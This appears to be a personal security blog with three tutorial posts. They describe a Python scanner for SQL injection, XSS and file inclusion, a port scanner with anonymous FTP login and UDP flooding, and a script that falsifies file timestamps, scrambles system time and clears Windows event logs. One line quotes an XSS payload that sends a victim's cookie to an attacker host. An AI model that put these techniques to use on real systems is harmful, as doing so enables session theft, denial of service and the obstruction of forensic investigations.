Author: Joe Avanzato

Modern web-applications, if not sufficiently protected through various mitigating factors, are potentially vulnerable to a wide variety of exploitation mechanisms.  This list is quite large and this post will only be discussing the detection of three basic vulnerability types; Error-Based MySQL Injection, Reflected Cross-Site Scripting (R-XSS) and Local  File Inclusions (LFI).  Additionally, the Python script utilized depends upon the installation of two separate third-party modules to simplify different aspects of request generation and HTML parsing; BeautifulSoup4 and HTTP Requests are two extremely useful Python modules which make interacting with web-resources extremely simple when compared to manual interaction.  Links will be included at the bottom of this post.

The first stage of scanning for vulnerabilities is being able to effectively crawl through a given site while not going out of scope.  The created script is customizable in terms of crawling-depth and attempts to find links on every sequentially discovered page and perform additional crawling on all discovered links.  The main portion of the function for crawling a given host is shown below.

The above function takes a ‘host’ as input and establishes a ‘base_domain’ in order to ensure links which are not part of the base domain path are not scanned.  This prevents going out-of-scope with respect to the current scan, such as not crawling ‘Youtube’ if a given site happens to link to it.  ‘requests.get(host)’ is a useful function from the ‘requests’ module which automatically forms a properly formed HTTP GET request to the target and the following ‘soup_init’ beautifies the HTTP response using BeautifulSoup4.  Additionally, BS4 is used to parse for all links which exist in the response.  Links are iterated through and new requests are issued for all detected target links, continuing on until reaching the specified depth given in the user arguments.  We can also observe that for links which are not previously existing within the list ‘link_list[]’, they are appended to the end of the list.  This list is iterated through and utilized in the later vulnerability scanning functions and acts as a precursor for target host generation.

Reflected XSS is a problem which typically results as a lack of input or output sanitization on the server-side resulting in the potential for JavaScript to be echoed back to the client on vulnerable web-pages.  This may include a site which includes a login form and echoes the username back upon a failed or successful login attempt.  If such a site does not properly utilize XSS Protection Headers and sanitization of allowed input, the strings echoed back to the client could potentially include malicious JavaScript.  A basic example commonly used to test for the existence of reflected XSS is JavaScript of the form ‘alert(“Test”)’, which if successful will result in a pop-up appearing on the client containing the text ‘Test’.  Malicious attackers will typically craft a link containing JavaScript which includes commands such as ‘document.location=’http://attacker-website/cookie-theft.php?cookie=’+document.cookie;’.  This JavaScript would be embedded in a seemingly innocuous link and sent to the victim who would then unwittingly send their current session cookie to the attackers pre-determined PHP script.

The script created has the ability to iterate through the links discovered through the crawling function and test each of them for potential reflected XSS injections via dynamic form-discovery, form-population and response analysis.  The main code boot-strapping this functionality is shown below.

The above code is part of the ‘main’ function and iterates through detected host URIs in the ‘link_list’ list which was previously populated through the crawling capabilities of the script.  Once a test for a given host is complete, a mini-report is generated and a file is written outputting the results for all XSS tests and letting investigators know which ones resulted in the detection of a potential reflected-XSS vulnerability.  As visible above, each host is passed to the ‘xss_test()’ function as a parameter argument, with snippets from ‘xss_test’ given below.

The code portion above represents the initial setup for reflected XSS testing, taking in a host parameter argument, sending an initial request to establish a base-line for form analysis and initializing an array for storing payloads resulting in potential XSS vulnerabilities.  It is also observed that a file named ‘xss.txt’ is opened and read line-by-line; this file contains potential payloads for XSS vulnerability detection and will be shown momentarily.  The script attempts to find all HTML forms present on the page, again utilizing BS4 to perform parsing of the HTTP response and then stores all forms in a dynamic variable for later iteration.  A snippet of the payloads document as it currently exists is shown below.

After loading the available payloads, the script proceeds to iterate through each available payload, then through each available form and finally each available form key in a ‘nested for loop’ fashion.  This makes it relatively inefficient but it does provide good overall coverage for each payload, form and key per form submission.  A sample of the next part of the script is shown below, existing within the ‘for loop’ for payload iteration.

As seen above, each form present in ‘all_forms’ is used and currently this script attempts to seek out login forms but has also been modified to include all forms in a more recent iteration to attempt to have wider overall site coverage.  The script then retrieves the actions, methods and available inputs of the form in question and creates a dictionary key:value pair for the original names and values of all form elements, storing the dictionary as ‘form_data’.  For every form, a final nested ‘for loop’ is utilized which iterates through all keys present in the form and attempts to set the related value to the current payload and then force a form submission in order to analyze the response.  This section is shown below.

The above code snippet represents the main portion for XSS testing on GET-action forms, with POST-action forms looking very similar and included directly below within the same for loop.  A new dictionary named ‘form_data_modded’ is created as a copy of the original ‘form_data’ to work upon it and not alter the original so that it can be recycled and used later.  For each key:value pair in ‘form_data’, the keys are iterated through and the corresponding value is set to the currently tested payload.  A GET/POST request is then made with the modded parameters and the HTTP response is analyzed to look for the existence of the embedded JavaScript in the response; if detected, the URL request which generated the alert is appended to the list of potential XSS triggers.  Otherwise, the next key:value pair is tested and the script continues in either case.  An example demonstrating this in action is shown below.

The above code runs until all payloads, forms and key:value pairs are iterated through and would then continue to operate on every host present in “link_list”.  The  SQL testing is very similar in nature and also utilizes a text file containing pre-built SQL payloads intended to test for error-based MySQL injection.  Additionally, a list of ‘special’ characters and known errors is specified in code.  The special character list consists of items such as ‘/’, ‘;’, ‘), (‘, ‘– ‘ and many more characters which are dynamically formed against each payload and used as suffixes and prefixes in order to test a variety of payload combinations.  Additionally, similarly to the XSS tests, detected key:value pairs are iterated through and generated payloads are inserted into each value possible in every detected form in order to gain full application coverage.  Posting code snippets of the SQL test would not be efficient due to their similarity but they can be viewed in the source code linked towards the end of this post.  Instead, an example of both SQL injection failure and detection are shown below.

The final mechanism included in the script is a test for Local File Inclusion; this test is slightly separate from the others as it does not currently include compatibility with the crawling element but this will be added in a future update.  Currently, input for LFI testing must be in the form of ‘http://URL.php?page=’.  The script will detect the parameter lacking a value and will then begin injections from the given parameter using a combination of variably encoded double-dots (‘..’) and slashes given in two separate text files.  Every encoding of double-dot is iterated through with every type of slash available in the given lists and taken to a depth of five iterations.  A request is made on each attempt and the HTTP response is analyzed in order to determine if ‘etc/passwd’ exists in the response, the presence of which would indicate a successful local file inclusion has occurred.  It is a relatively naive implementation and also inefficient but it does succeed in testing for LFI vulnerabilities against known GET parameters.  A list of the currently used double-dots and slashes are given below along with an example of a successful LFI detection in operation.

Overall, this script is poorly performing but does manage to detect the given vulnerabilities on sites which are vulnerable to them.  Hopefully this helps demonstrate some basic ways through which these classes of vulnerabilities can be detected and furthers overall knowledge on the topic for those who are curious.

HTTP Requests : http://docs.python-requests.org/en/master/

Beautiful Soup : https://www.crummy.com/software/BeautifulSoup/

https://github.com/joeavanzato/SimpleScanner

There exist a variety of mechanisms an attacker may use to perform network-based activities against a remote or local host, with many of them existing in the form of well-established mechanisms such as ‘nmap’ or other well-known utilities.  This post will attempt to demonstrate how to establish a basic TCP Connection to a remote host as well as showing how to utilize anonymous FTP logins and basic UDP Port flooding capabilities, to be expanded on in later posts.

The overall script is designed to take a variety of arguments as input such as the target-host, target-ports for scanning and whether or not to attempt anonymous FTP login or UDP flooding on the specified ports.  Typically, port scanning programs will check all well-known ports (1-1024) or even more, but this script will be very basic in that it will only check ports specified by the user.  It would be trivial to remove this and instead have it iterate through a port list.  The code snippet below demonstrates a basic port scanning function which will iterate through all ports given in the ‘target_Ports’ list, specified outside the scope of the local function by the given user inputs or statically populated with any desired port.

Here we see that threading is utilized to allow concurrent execution of the ‘Connect()’ function in order to speed up the overall scanning process.  Zooming in to the ‘Connect’ function, we can observe how the parameter arguments are utilized in order to make a socket connection to the remote host on the target port, with a custom payload available that can be tuned by the developer to whatever is required.

It would be possible to analyze the ‘feedback’ response of the remote host in order to determine if the socket was immediately reset or if a legitimate response other than a TCP RST was received, allowing for the determination of whether or not a target port is ‘open’, ‘filtered’ or ‘closed’.  An immediate TCP RST would indicate it is likely ‘closed’ or perhaps ‘filtered’ while any other response, such as a query indicating the payload is invalid, might indicate the port is ‘open’.  This type of information can be useful to attackers performing initial reconnaissance.

An easy way to perform an anonymous FTP login attempt would be through the usage of the ‘ftplib’ module included in Python.  A small function demonstrating this sort of capability with a randomly generated email address is shown in the code snippets below.

Flooding a port is slightly more complicated, but not much more.  For this example, we will utilize randomized UDP datagrams and attempt to continuously send them to the specified ports given by user arguments.  The initial function beginning this behavior is shown below.

The above code takes as argument the specified target host, the list of ports given in user arguments as well as the time that flooding should occur for, also given in the user arguments in terms of seconds.  Each port to be flooded is given its own process in order to execute concurrently using the ‘port_Flooder’ class, described in more detail below.

Above we see the beginning of the port_Flooder class, existing as a derivative of multiprocessing.process.BaseProcess, which issues a ‘run’ statement in the initialization of each class in order to begin immediate functionality.  The self function ‘flood_port’ is called for each instance, shown in the image below.

‘flood_port’ essentially takes in as arguments the target host, target port and the time that flooding should occur for and uses these to create a new socket which is utilized to send data over via UDP.  Packet contents are given via the ‘random_data’ variable which consists of random data with the generation mechanism specific to the current OS.  This data is then used through the ‘socket.sendto’ function and sent to the target host/port pair.  Unless this is performed hundreds or thousands of times simultaneously with various hosts, it is unlikely this alone will effect the performance of any server due to most autonomous mechanisms which exist to prevent this type of basic DoS attack.

https://github.com/joeavanzato/NetPeek

Being able to track the activity of malicious software on a particular host is critically important to understanding the potential impact and consequences that will arise from its execution.  As such, designers of malware will attempt to utilize a variety of anti-forensics mechanisms in order to evade detection or obfuscate the actions taken in order to make it more difficult for security investigators to assemble action time-lines.  This can be achieved through a variety of methods but today I am discussing simple time-line alteration techniques that may often be seen as side modules existing within larger packages of malware.

In particular, altering the modification, access and creation (MAC) times of files can greatly hinder investigative attempts to understand when and how different actions on a system were taken.  This is more easily done through direct struct manipulation in C but I am utilizing Python 3+ in order to modify MAC times.  Python can easily handle changing Access and Modification times but modifying the creation time requires a more in-depth examination of C-Structs and as such I will be using the imports ‘win32file’ and ‘pywintypes’ and ‘win32api’ to achieve easier handling and manipulation of Windows APIs and file-structure data.

The first step I take in achieving a realistic time-line is to generate a random date-time sequence which will be used when later modifying file MAC times.  In order to do this, I first pull the ‘start date’ from the local device’s System Event Log by opening up the event log and getting the date from the earliest record present, as shown below.

The above code opens up a handle using the pre-defined variables and then uses a basic loop to get the ‘TimeGenerated’ data from the earliest record in the log.  If the log isn’t regularly wiped, this will typically be from when the OS was installed, giving us some boundaries which can be utilized for date-time generation if we wish to remain ‘in-bounds’ in regards to accurate time-setting, although this isn’t completely necessary.  The next step taken is to create  function which, when utilized, will generate a random date-time within the boundary given above as well as the system’s current date-time.  This function is shown below.

The above code can be written in a variety of ways and is very simplistic, ignoring many fringe cases and achieving a very naive mechanism to generate random date-times.  These are utilized in the next stage of the process to alter MAC times for a given file.  The overall script is able to take a directory as input and, when given, will iterate through the entire directory and any sub-directories and will pass any detected file through the ‘randomizeFileTime’ function given below.

The above function uses ‘os.utime’, a Python native function under the ‘os’ import to modify both Modification and Access time of files but it cannot natively alter the Creation time.  To do that, I prepare a time in the necessary C-struct format under the variable ‘ct’ and then use the ‘CreateFile’, ‘Time’ and ‘SetFileTime’ functions included within ‘win32file’ and ‘pywintypes’ to modify the Creation time.  This results in files having a completely randomized MAC time similar to utilizing the ‘Timestomper’ software released many years ago.

Unfortunately, this type of work can be easily reversed by a skilled investigator through System Event log examination and a basic script which ‘un-does’ the actions performed within this obfuscation attack.  One way to make this more difficult is to simultaneously modify the System Time in order to effectively ‘scramble’ the System Event log, making reconstruction much more tedious and time-consuming.  This is done in a simple ‘while’ loop for demonstration purposes but could just as easily be performed via threading to achieve concurrent execution.  The above random-date-time generator is utilized to create variables which are input to the basic line of code shown below.

This will change the system time using the previously mentioned imports in a very simple ‘one-liner’.  This is achievable through pure python means but is much more tedious to perform.  One other action that may be taken to increase the difficulty of ‘un-scrambling’ the event log would be to alter the current time-zone previous to modification of each file-time.  This may also be done through Win32API interaction and the method used is shown below.

The ‘tz’ variable includes a long-list of all potential Time Zones present in the Windows 10 OS while ‘tzpath’ gives the expected path in the Registry for time-zone value manipulation, shown in the below image.

The code snippet above demonstrates how, for each file, previous to having the file-time randomized a random time-zone is selected from ‘tz’ and the registry value for current Time-Zone is modified, further obfuscating system event logs and increasing the tediousness of investigations.  Further-more, after script completion, an attempt to wipe all existing event logs is made via the code snippet given below.

This code attempts to iterate through all existing logs and uses native Windows functions to attempt clearing logs.  If allowed, this can make it very difficult for forensic investigators to determine specific time-lines if no external reporting or auditing systems are in place.  There is one final technique utilized in this script to attempt time-line obfuscation, but which does not quite work as expected, although I will include mention of it here.  I noticed in my testing that there exists a ‘System Uptime’ event in the Event Logs which seems to ‘tick’ every second since the system has last started.  It seems through research that this event is dependent upon the ‘LastBootUpTime’ property of the Window’s CIM_OperatingSystem information class and altering this cannot be done very easily.  I have attempted to write a new ‘Managed Object Format’ class which will over-write the existing class and attempt to define a new value for ‘LastBootUpTime’ property.  The initial function for this is shown below.

The above function, when called, will attempt to write a ‘.mof’ file containing the above code with a randomized date-time inserted into the code.  This alone is not enough, as this function would simply leave the file on the system but that would do nothing on its own.

The code snippet attempts to call the writing-MOF function as well as utilize ‘subprocess.call’ in an attempt to force an update to the existing class via the command-line.  Additionally PowerShell is utilized throughout in order to learn what the original ‘LastBootUpTime’ is as well as to verify that it is modified after MOF compilation.

Overall, the above code, when combined, attempts to obfuscate malicious software actions and would be part of a larger package.  This ‘larger package’ may attempt some form of data exfiltration or persistence achievements and this type of obfuscation will try to hide the greater intent of the package and make it very difficult for security investigators to understand what happened or construct accurate time-lines.

Some screenshots of this script in action are shown below.

https://github.com/joeavanzato/MACfuscator